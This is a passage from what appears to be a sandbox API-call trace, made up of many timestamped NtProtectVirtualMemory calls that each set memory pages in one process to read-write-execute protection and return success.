BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.060] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.097] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.788] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.913] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 